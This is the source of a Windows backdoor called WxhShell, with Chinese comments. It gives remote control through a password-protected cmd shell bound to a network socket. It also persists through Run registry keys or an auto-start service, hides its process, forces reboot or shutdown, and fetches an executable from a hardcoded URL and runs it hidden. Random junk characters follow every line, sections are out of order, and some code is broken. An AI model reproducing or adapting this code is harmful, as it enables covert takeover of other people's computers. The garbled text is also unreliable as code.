    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dgO2fI  
    else { >@t]M`#&h  
    closesocket(wsh); W?@ ;(k  
    ExitThread(0); 7l?=$q>k"  
    } k=LY 6  
    break; Hw Db &pP"  
    } l6i 2!&8P%  
  // 关机 /( q*  
  case 'd': { 2]@U$E='s  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); m+o>`1>a  
    if(Boot(SHUTDOWN)) LcF0:h'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G^+0</Q  
    else { PgVM>_nHk  
    closesocket(wsh); ar6Z?v$  
    ExitThread(0); *@O;IiSE  
    } qB8<(vBP+  
    break; %hXa5}JL  
    } a(m#GES  
  // 获取shell j#-74{Y$ J  
  case 's': { 7|{QAv  
    CmdShell(wsh); }\1V;T  
    closesocket(wsh); 4-m}W;igu  
    ExitThread(0); ddw!FH2W (  
    break; !XK p_v  
  } 5~\W!|j/  
  // 退出 L|c01  
  case 'x': { mk[n3oE1  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); a1?Y7(alPU  
    CloseIt(wsh); y_\d[  
    break; *QrTZ$\C  
    } Ngg (<ZN  
  // 离开 Cu0/TeEM  
  case 'q': { d~.#KS  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); A0'Yfuie  
    closesocket(wsh); b+{yF  
    WSACleanup(); Z!*Wn`d-k  
    exit(1); W{k}ogI;  
    break; %cBJ haR{(  
        } -1fT2e  
  } aa$+(  
  } J&lQ,T!?B  
T'w=v-(J  
  // 提示信息 oqG 0 @@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <}|+2f233+  
} u\6:Txqq  
  } v=|ahsYC  
rl!c\  
  return; `DEz ` D  
} 3x eW!~  
zV%U4P)Dao  
// shell模块句柄 _m;Y'  
int CmdShell(SOCKET sock)  M7hff4c  
{ nL\BB&  
STARTUPINFO si; [^aow-4z  
ZeroMemory(&si,sizeof(si)); 4O2O0\o:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; b8>r UGA{  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *ozeoX'5D  
PROCESS_INFORMATION ProcessInfo; ZVeY`o(uE  
char cmdline[]="cmd"; la f b^  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 94H 6`  
  return 0; d'PjO-"g  
} `^RpT]S  
D(yRI  
// 自身启动模式 Uh*V>HA#  
int StartFromService(void)  E{h   
{ #p0vrQ;5f  
typedef struct I:[3x2H  
{ {G_ZEo#x8,  
  DWORD ExitStatus; ) _"`{2  
  DWORD PebBaseAddress; \  VJ3  
  DWORD AffinityMask; )~rN{W<s`H  
  DWORD BasePriority; GBN^ *I  
  ULONG UniqueProcessId; YMC*<wXN  
  ULONG InheritedFromUniqueProcessId; |]^OX$d  
}   PROCESS_BASIC_INFORMATION; 4h?[NOA"  
9=Y-w s  
PROCNTQSIP NtQueryInformationProcess; EZao\,t  
.#P'NF(5#  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *uNa( yd  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; S$ dFz  
Q!MS_ #O  
  HANDLE             hProcess; YS%HZFY, "  
  PROCESS_BASIC_INFORMATION pbi; gTm[<Y  
a3JG&6-  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !fjDO!,!  
  if(NULL == hInst ) return 0; Kh}#At^C8e  
1%t9ic  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); d XrLeoK  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "\Z.YZUa\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *RivZ c9;P  
(;V6L{Rf>  
  if (!NtQueryInformationProcess) return 0; !Mceg  
fC52nK&T8  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3 rV)JA  
  if(!hProcess) return 0; #D&eov?  
=rGjOb3+  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; vEk jd#  
g&) XaF[!  
  CloseHandle(hProcess); G)G5eXXX  
UOi8>;k`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "}Vow^vb  
if(hProcess==NULL) return 0; >d&B:  
N!{('po  
HMODULE hMod; 8:TN,p  
char procName[255]; q0&g.=;  
unsigned long cbNeeded; +g>)Bur  
w/#k.YE  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]^$3S  
3a_~18W  
  CloseHandle(hProcess); ZG"_M@S.  
l`4hWs\I  
if(strstr(procName,"services")) return 1; // 以服务启动 a"4j9cO  
.k|8nNj  
  return 0; // 注册表启动 ?zM]p"M  
} xp.~i*!`  
3{O^q/R  
// 主模块 FIDV5Y/f  
int StartWxhshell(LPSTR lpCmdLine) >$j?2,Za(V  
{ .Ce30VE-  
  SOCKET wsl; K1Snag  
BOOL val=TRUE; Tq,Kel  
  int port=0; }w}2'P'T  
  struct sockaddr_in door; buu~#m 1z  
0[/>> !ws  
  if(wscfg.ws_autoins) Install(); Y/?V%X  
Bq3"l%hI  
port=atoi(lpCmdLine); jhOQ)QE|  
5ro^<P0f**  
if(port<=0) port=wscfg.ws_port; | U )  
3A!`U6C(  
  WSADATA data; yY_Zq\   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; p"\Z@c  
JvX]^t/}  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   t2uX+1F  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ).0klwfV  
  door.sin_family = AF_INET; B+:/!_  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ZF^$?;'3  
  door.sin_port = htons(port); @8{-B;   
dj>zy  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >Z r f}H  
closesocket(wsl); +twl`Z3n  
return 1; QH7"' u6  
} eg!s[1[_  
x]{}y_  
  if(listen(wsl,2) == INVALID_SOCKET) { 0A9llE  
closesocket(wsl); K[r<-6TS  
return 1; %38HGjS  
} 1fUg  
  Wxhshell(wsl); -j9Wf=  
  WSACleanup(); wyJ+~  
jrk48z  
return 0; jkTC/9AE|  
v"ZNS  
} yK9:LXhf  
BQTZt'p  
// 以NT服务方式启动 |Lf>Z2E  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) tqbYrF)  
{ -|V1A[  
DWORD   status = 0; imw,Nb  
  DWORD   specificError = 0xfffffff; "%]<Co<S  
HueGARS  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;+C2P@M  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; |I \&r[J  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; j.or:nF  
  serviceStatus.dwWin32ExitCode     = 0; 4~<78r5m  
  serviceStatus.dwServiceSpecificExitCode = 0; f3PDLQA  
  serviceStatus.dwCheckPoint       = 0; Bl[4[N  
  serviceStatus.dwWaitHint       = 0;  /5M0[C E  
%  ]G'u  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7W[+e&  
  if (hServiceStatusHandle==0) return; )<YfLDgTs  
6.5E d-  
status = GetLastError(); s R/z)U_  
  if (status!=NO_ERROR) V9`?s0nn^  
{ +;,65j+n   
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; AwnQ5-IR\  
    serviceStatus.dwCheckPoint       = 0; `st3iTLZY  
    serviceStatus.dwWaitHint       = 0; %[S-"k  
    serviceStatus.dwWin32ExitCode     = status; t?1 b(oJ  
    serviceStatus.dwServiceSpecificExitCode = specificError; u-</G-y  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); wH]5VltUT1  
    return; Z?JR6;@W  
  } "xWrYq'"  
!U::kr=t  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; y[`>,?ns5  
  serviceStatus.dwCheckPoint       = 0;  N$ oQK(  
  serviceStatus.dwWaitHint       = 0; BN7]u5\7  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Wdk]>w 'L  
} UA4="/  
Z-%zR'-?*  
// 处理NT服务事件,比如:启动、停止 65]>6D43  
VOID WINAPI NTServiceHandler(DWORD fdwControl) *? V boyU  
{ rF?gKk  
switch(fdwControl) ]?S@g'Jd0Q  
{ fM/~k>wl  
case SERVICE_CONTROL_STOP: L0\~ K~q  
  serviceStatus.dwWin32ExitCode = 0; Hnft1   
  serviceStatus.dwCurrentState = SERVICE_STOPPED; VEsIhjQ  
  serviceStatus.dwCheckPoint   = 0; 6+ UTEw;  
  serviceStatus.dwWaitHint     = 0; ^=Dz)95c  
  { LO;7NK  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); m+|yk.md  
  } WU$l@:Yo  
  return; v_|k:l  
case SERVICE_CONTROL_PAUSE: H~$*R7~  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ,tTq25~H\  
  break; Efp[K}Z^$  
case SERVICE_CONTROL_CONTINUE: q!;u4J  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )&6ZgRq  
  break; o' EJ,8  
case SERVICE_CONTROL_INTERROGATE: *q&^tn b  
  break; ;{lb_du2:  
}; E]O/'-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t 7-6A  
} lxsn(- j  
O\J{4EB@.  
// 标准应用程序主函数 mV'-1  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) NoOrQ m  
{ #_SsSD=.Sy  
6nA/LW\x  
// 获取操作系统版本 G)IK5zCDd  
OsIsNt=GetOsVer(); V1#:[o63+  
GetModuleFileName(NULL,ExeFile,MAX_PATH); N&yr?b'!-*  
m)l'i!Y  
  // 从命令行安装 :y.~IQN  
  if(strpbrk(lpCmdLine,"iI")) Install(); Y 'y yrn}  
8|L;y[v  
  // 下载执行文件 7!F -.kG  
if(wscfg.ws_downexe) { KwHlpW*  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) XvSng"f.  
  WinExec(wscfg.ws_filenam,SW_HIDE); icK$W2<8mg  
} =4[ U<opP  
Hk f<.U  
if(!OsIsNt) { 3y tlD'  
// 如果时win9x,隐藏进程并且设置为注册表启动 Na>w~  
HideProc(); !aB~G}'  
StartWxhshell(lpCmdLine); B ({g|}|G+  
} HDO_r(i  
else <KX fh  
  if(StartFromService()) }U'VVPh _  
  // 以服务方式启动 OF}."a  
  StartServiceCtrlDispatcher(DispatchTable); }  fa  
else p%R+c  
  // 普通方式启动 +'/C(5y)0X  
  StartWxhshell(lpCmdLine); ~ <36vsk  
I@oSRB  
return 0; WF_ v>g:g  
} gNJdP!(t  
!bIE%cq  
B[IWgvB(e  
JU#m?4g  
=========================================== MTip4L W9  
cT5BBR   
p\P)    
=w!2R QB  
cd|/ 4L 6  
T65"?=<EB  
" X[!S7[d-y  
sd9b9?qiu  
#include <stdio.h> "$/1.SX;]  
#include <string.h> V x{   
#include <windows.h> O\SH;y,N  
#include <winsock2.h> m3~_uc/+D  
#include <winsvc.h> O"X:3srJ`  
#include <urlmon.h> F/PH=Dk  
T/FZn{I  
#pragma comment (lib, "Ws2_32.lib") T>pyYF1Q  
#pragma comment (lib, "urlmon.lib") U.WXh(`%  
;X;(7  
#define MAX_USER   100 // 最大客户端连接数 @\r2%M-  
#define BUF_SOCK   200 // sock buffer z=TO G P(  
#define KEY_BUFF   255 // 输入 buffer |- <72$j  
"ql$Rz8  
#define REBOOT     0   // 重启 o%!s/Z1  
#define SHUTDOWN   1   // 关机 l"1*0jgBw  
D\Y,2!I  
#define DEF_PORT   5000 // 监听端口 n[B[hAT  
gFd*\Dk  
#define REG_LEN     16   // 注册表键长度 |c>.xt~  
#define SVC_LEN     80   // NT服务名长度 c^rWS&)P  
Zoy)2E{  
// 从dll定义API 18Vn[}]"  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6L;]5)#  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); jgiS/oW  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); - ~4na{6x  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); AB{zkEuK  
+cbF$,M4  
// wxhshell配置信息 .C.b5x!  
struct WSCFG { _K&Hiz/'  
  int ws_port;         // 监听端口 XG!6[o;  
  char ws_passstr[REG_LEN]; // 口令 ]j!pK4  
  int ws_autoins;       // 安装标记, 1=yes 0=no mMvAA;  
  char ws_regname[REG_LEN]; // 注册表键名 %LM6=nt  
  char ws_svcname[REG_LEN]; // 服务名 L?Ys(a"k  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ~MP |L?my  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;%Px~g  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 E0x\h<6W~  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =XtQ\$Pax  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^i r)z@P?V  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 O._\l?m  
R58NTPm  
}; %ZcS"/gf  
-k@1# c+z  
// default Wxhshell configuration f[ 2PAz  
struct WSCFG wscfg={DEF_PORT, )dFPfu&HL  
    "xuhuanlingzhe", *VmX.  
    1,  +hKs  
    "Wxhshell", `!spi=f  
    "Wxhshell", =av0a !  
            "WxhShell Service", ;l1.jQh  
    "Wrsky Windows CmdShell Service", B;S'l|-?  
    "Please Input Your Password: ", # E_S..  
  1, *?*~<R  
  "http://www.wrsky.com/wxhshell.exe", A*vuSQt(  
  "Wxhshell.exe" B`t/21J  
    }; 9^9-\DG  
(@qPyM6~}  
// 消息定义模块 Y mL{uV$  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; zVa&4 T-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,q>cFsY=i?  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";  WzoI0E`  
char *msg_ws_ext="\n\rExit."; pF7N = mO  
char *msg_ws_end="\n\rQuit."; <f`n[QD2z  
char *msg_ws_boot="\n\rReboot..."; }#-@5["-X  
char *msg_ws_poff="\n\rShutdown..."; `N&*+!O%  
char *msg_ws_down="\n\rSave to "; ^{{a v?h  
q)f_!N  
char *msg_ws_err="\n\rErr!"; Bz <I7h  
char *msg_ws_ok="\n\rOK!"; )0/*j]Kf  
mE5{)<N:C  
char ExeFile[MAX_PATH]; iE}] E  
int nUser = 0; / Y od  
HANDLE handles[MAX_USER]; 6VC|] |*  
int OsIsNt; 3y+~l H :  
E p;i],}  
SERVICE_STATUS       serviceStatus; gL-kI *Ra  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; wP*3Hx;S  
o&&`_"18  
// 函数声明 Kc95yt  
int Install(void); 7y&6q`y E  
int Uninstall(void); nu7 R  
int DownloadFile(char *sURL, SOCKET wsh); nGe4IY\-w  
int Boot(int flag); (# mvDz  
void HideProc(void); E N%{ $  
int GetOsVer(void); ;[UI ]?A%  
int Wxhshell(SOCKET wsl); e[?,'Mp9  
void TalkWithClient(void *cs); h]L.6G|hEN  
int CmdShell(SOCKET sock); ;ne`ppz0  
int StartFromService(void); k*n~&y:O  
int StartWxhshell(LPSTR lpCmdLine); cc*?4C/t  
4].o:d;`/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); vBOY[>=  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /8Y8-&K0  
mI!iSVqr  
// 数据结构和表定义 <tBT?#C9+  
SERVICE_TABLE_ENTRY DispatchTable[] = 9 " t;6  
{ z@,(^~C_  
{wscfg.ws_svcname, NTServiceMain}, Z$g'h1,zW  
{NULL, NULL} vanV|O  
}; [5p3:D  
c+E\e]{  
// 自我安装 T7 "QwA  
int Install(void) qD4s?j-9  
{ ~?Vod|>  
  char svExeFile[MAX_PATH]; n@ SUu7o  
  HKEY key; %3~ miP  
  strcpy(svExeFile,ExeFile); qR!ZtJ5j  
[uHU[ sG  
// 如果是win9x系统,修改注册表设为自启动 Z{BK@Q4z  
if(!OsIsNt) { R.*;] R>M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <W!nlh  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q-V8=.  
  RegCloseKey(key); @IsUY(Gu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xjiV9{w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E"_{S.Wc  
  RegCloseKey(key); 1HKA`]D"p  
  return 0; 0?8>{!I  
    } _hyqHvP  
  } -&`_bf%M  
} E b:iym0  
else { i+mU(/l2{  
|9%~z0  
// 如果是NT以上系统,安装为系统服务 {q`8+$Z;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >n3GvZ5%  
if (schSCManager!=0) &gruYZGK  
{ p\6}<b"p  
  SC_HANDLE schService = CreateService i KQj[%O  
  ( u-|%K.A  
  schSCManager, -%Vh-;Ie(  
  wscfg.ws_svcname, d@g29rs  
  wscfg.ws_svcdisp, +B " aUF  
  SERVICE_ALL_ACCESS, L=qhb;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3))CD,|  
  SERVICE_AUTO_START, $(;Ts)P  
  SERVICE_ERROR_NORMAL, Ycm.qud ?  
  svExeFile, &hkD"GGe  
  NULL, .tLRY  
  NULL, " Ot%{&:2  
  NULL, G gA:;f46  
  NULL, X!LiekU!D  
  NULL WN{8gL&y  
  ); ^8~TsK~  
  if (schService!=0) L!l?tM o  
  { o.NU"$\?  
  CloseServiceHandle(schService); &4|]VOf  
  CloseServiceHandle(schSCManager); hG.}>(VV  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <Tjhj *  
  strcat(svExeFile,wscfg.ws_svcname); ] 9C)F*r7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { zA6C{L G3  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Qc-W2%  
  RegCloseKey(key); l<uI-RX "  
  return 0; Uz,P^\8^$  
    } Jj [3rt?8  
  } Mn/  
  CloseServiceHandle(schSCManager); gizY4~ j  
} 1}|y^oB\-  
} yN{**?b  
jZqa+nG51  
return 1; [dP<A ?s  
} Bf00&PE;  
 2=;ZJ  
// 自我卸载 hfLe<,  
int Uninstall(void) sj&(O@~R  
{ r+[g.`  
  HKEY key; K/C}  
okRt^qe  
if(!OsIsNt) { uKXU.u*C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V.u^;gr3  
  RegDeleteValue(key,wscfg.ws_regname); *!"T^4DEg  
  RegCloseKey(key); > `eo0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { faLfdUimJ  
  RegDeleteValue(key,wscfg.ws_regname); Q+K]:c  
  RegCloseKey(key); uc!6?+0h  
  return 0; ,B/TqPP  
  } ~h8k4eM  
} ,Aq, f$5V  
} c/bT5TIEWs  
else { C$])q`9  
(AZneK :*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ld(_+<e  
if (schSCManager!=0) Et*LbU  
{ "7+^`?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); dfVI*5[Z  
  if (schService!=0) ( zm!_~1  
  { V4"o.G3\o  
  if(DeleteService(schService)!=0) { st"@kHQ3  
  CloseServiceHandle(schService); OI)k0t^;D  
  CloseServiceHandle(schSCManager); 0K^@P #{hd  
  return 0; D&mPYxXL  
  } Fczia0@z  
  CloseServiceHandle(schService); %1;Y`>  
  } 8cY5:plK  
  CloseServiceHandle(schSCManager); K[noW  
} K6B6@  
} s!YX<V  
*B&i`tq  
return 1; N/{=j  
} MJe/ \  
cqh1,h$sG  
// 从指定url下载文件 L67yL( d6a  
int DownloadFile(char *sURL, SOCKET wsh) ',FVT4OMw  
{ SP2";,%/9  
  HRESULT hr; 6tVp%@  
char seps[]= "/"; JK^%V\m  
char *token; DPnrzV )  
char *file; 0[ n;ZL~  
char myURL[MAX_PATH]; *yI( (G/  
char myFILE[MAX_PATH]; _%rkN0-(a  
r H9}VA:h  
strcpy(myURL,sURL); t x1TtWo  
  token=strtok(myURL,seps); _pS)bx w  
  while(token!=NULL) gEVoY,}/-U  
  { k~<ORnda  
    file=token; L-|7 &  
  token=strtok(NULL,seps); ;2BPEo>z9  
  }  /*S6/#  
}FV_jJ  
GetCurrentDirectory(MAX_PATH,myFILE); P1TTaYu  
strcat(myFILE, "\\"); 'zt}\ Dt  
strcat(myFILE, file); o~:({  
  send(wsh,myFILE,strlen(myFILE),0); REJBm  
send(wsh,"...",3,0); }darXtZKkK  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9ys[xOh WM  
  if(hr==S_OK) >> -{AR0  
return 0; G7-.d/8|^  
else W}(xE?9&  
return 1; sV~|9/r  
Cq=k3d#}  
} :oZ~&H5Q  
sDHFZ:W  
// 系统电源模块 `kOp9(Q{  
int Boot(int flag) i}:^<jDv?  
{ ,+n{xI2  
  HANDLE hToken; ]tK<[8Y  
  TOKEN_PRIVILEGES tkp; gavf$be  
V,tYqhQ3  
  if(OsIsNt) { :VRQd}$Pi  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [9CBTS r  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4%jSqT@  
    tkp.PrivilegeCount = 1; v>Kv!OY:c  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ir )~T0  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Vc|QW  
if(flag==REBOOT) { pi*?fUg!W  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) F*B^#AZg  
  return 0; G"<} s mB  
} ~|wh/]{b9  
else { ` NvJ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ''EFh&F  
  return 0; J]*?_>"#8  
} ;ahI}}  
  } JHVesX  
  else { ss7Z-A4z  
if(flag==REBOOT) { ~m7?:(/lb  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &ujq6~#  
  return 0; g31\7\)Ir  
} 6O'B:5~[2  
else { eNt1P`2[  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) LCpS}L;  
  return 0; ~ln96*)M;  
} P.t7_v>  
} >RmL0d#B  
c$%I^f}'  
return 1; 6k\8ulHw  
} 7LW %:0  
\9.@T g8`  
// win9x进程隐藏模块 v.H@Ey2  
void HideProc(void) hKK"D:?PRs  
{ "g;}B"rG  
K&vqk/JW1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %LdFS~  
  if ( hKernel != NULL ) yD&UH_ 1g  
  { \]t }N  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); f'M7x6W  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3:P "6mN  
    FreeLibrary(hKernel); xOpCybmc  
  } 1FEY&rpR  
s\1c.  
return; N^tH&\G\m  
} a: OuDjFp  
h IUO=f  
// 获取操作系统版本 [E%Ov0OC  
int GetOsVer(void) z 4`H<Pn  
{ Q|HOy8O}Z  
  OSVERSIONINFO winfo; &f>1/"lnd\  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _/[(&}M  
  GetVersionEx(&winfo); w8AHs/'r  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) F1zsGlObu}  
  return 1; h)C `w'L  
  else 4^BHJOvs  
  return 0; NA8$G|.?  
} *[['X%f  
6~6*(s|]A  
// 客户端句柄模块 6Yx/m  
int Wxhshell(SOCKET wsl) {f)"F;]V  
{ 6/thhP3`-  
  SOCKET wsh; 3LD`Ep   
  struct sockaddr_in client; 6oLq2Z8uP  
  DWORD myID; y{\K:    
?qjlWCV|e  
  while(nUser<MAX_USER) !+I!J s"  
{ P"mD 73a  
  int nSize=sizeof(client); |b:91l  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $5/lU }To  
  if(wsh==INVALID_SOCKET) return 1; FY;R0+N  
V2|XcR  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $T80vEi+u  
if(handles[nUser]==0) u~^d5["T  
  closesocket(wsh); 9"~,ha7S$  
else h wfKgsm  
  nUser++; Va m4/6  
  } okZDxg`6  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 6o/!H  
dg]: JU  
  return 0; -gKo@I  
} mC(q8%/;  
[8Zvs=1  
// 关闭 socket f"G?#dW/1  
void CloseIt(SOCKET wsh) Od:, r  
{ #\fxU:z~r  
closesocket(wsh); V ZArdXTP  
nUser--; f'<MDLl  
ExitThread(0); <U() *0  
} xT$9M"  
^8yhx-mgb  
// 客户端请求句柄 ;4 ON  
void TalkWithClient(void *cs) gNG_,+=!  
{ ]RJcY1  
m0 k~8^L@f  
  SOCKET wsh=(SOCKET)cs; XZFM|=%X  
  char pwd[SVC_LEN]; _7"G&nZ0  
  char cmd[KEY_BUFF]; Pb^Mc <j  
char chr[1]; ("L&iu\`@  
int i,j; &qP&=( $  
u;qBW uO  
  while (nUser < MAX_USER) { xui.63/  
qj5V<c;h%W  
if(wscfg.ws_passstr) { jQs"8[=s  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8E| Nf  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >1Y',0v  
  //ZeroMemory(pwd,KEY_BUFF); Xr@]7: ,  
      i=0; HsGyNkr?r  
  while(i<SVC_LEN) { 4>&%N\$*  
^l4=/=RR  
  // 设置超时 \We\*7^E  
  fd_set FdRead; 8 3wa{m:  
  struct timeval TimeOut; ]%PQ3MT.  
  FD_ZERO(&FdRead); }QL 2#R  
  FD_SET(wsh,&FdRead); 8&"@6/)[  
  TimeOut.tv_sec=8; WU -_Y^  
  TimeOut.tv_usec=0; 75LIQ!G|=  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); O:Fnxp5@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); _8CE|<Cn  
m*MfGj(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); / b_C9'S  
  pwd=chr[0]; .;0?r9  
  if(chr[0]==0xd || chr[0]==0xa) { IE-c^'W=}m  
  pwd=0; I(*4N^9++  
  break; O!D0 hW4  
  } !V6O~#  
  i++; ni@N/Z?!pA  
    } }0P5~]S<5A  
i<*{Z~B  
  // 如果是非法用户,关闭 socket xmEmdOoD  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #q"^6C 5  
} ;9r`P_r  
2%'iTXF  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Xk_xTzJ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %!G]H   
XJ|CC.]1u  
while(1) { ;:[!I]E0  
2?9SM@nAY  
  ZeroMemory(cmd,KEY_BUFF); EVW{!\8[  
JEK 6Ms;)A  
      // 自动支持客户端 telnet标准   9w Pc03a  
  j=0; B%c):`w8]  
  while(j<KEY_BUFF) { e.<$G'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); oc>ne]_'  
  cmd[j]=chr[0]; v^a. b  
  if(chr[0]==0xa || chr[0]==0xd) { f<V#Yc(U }  
  cmd[j]=0; y^#jM  
  break; .&AS-">Z  
  } yE(>R(^  
  j++; ?X1vU0 c  
    } uj_ OWre  
~@x@uY$5  
  // 下载文件 %8)GuxG*  
  if(strstr(cmd,"http://")) { tTT./-*0  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); )pS1yYLj  
  if(DownloadFile(cmd,wsh)) )2|'`  
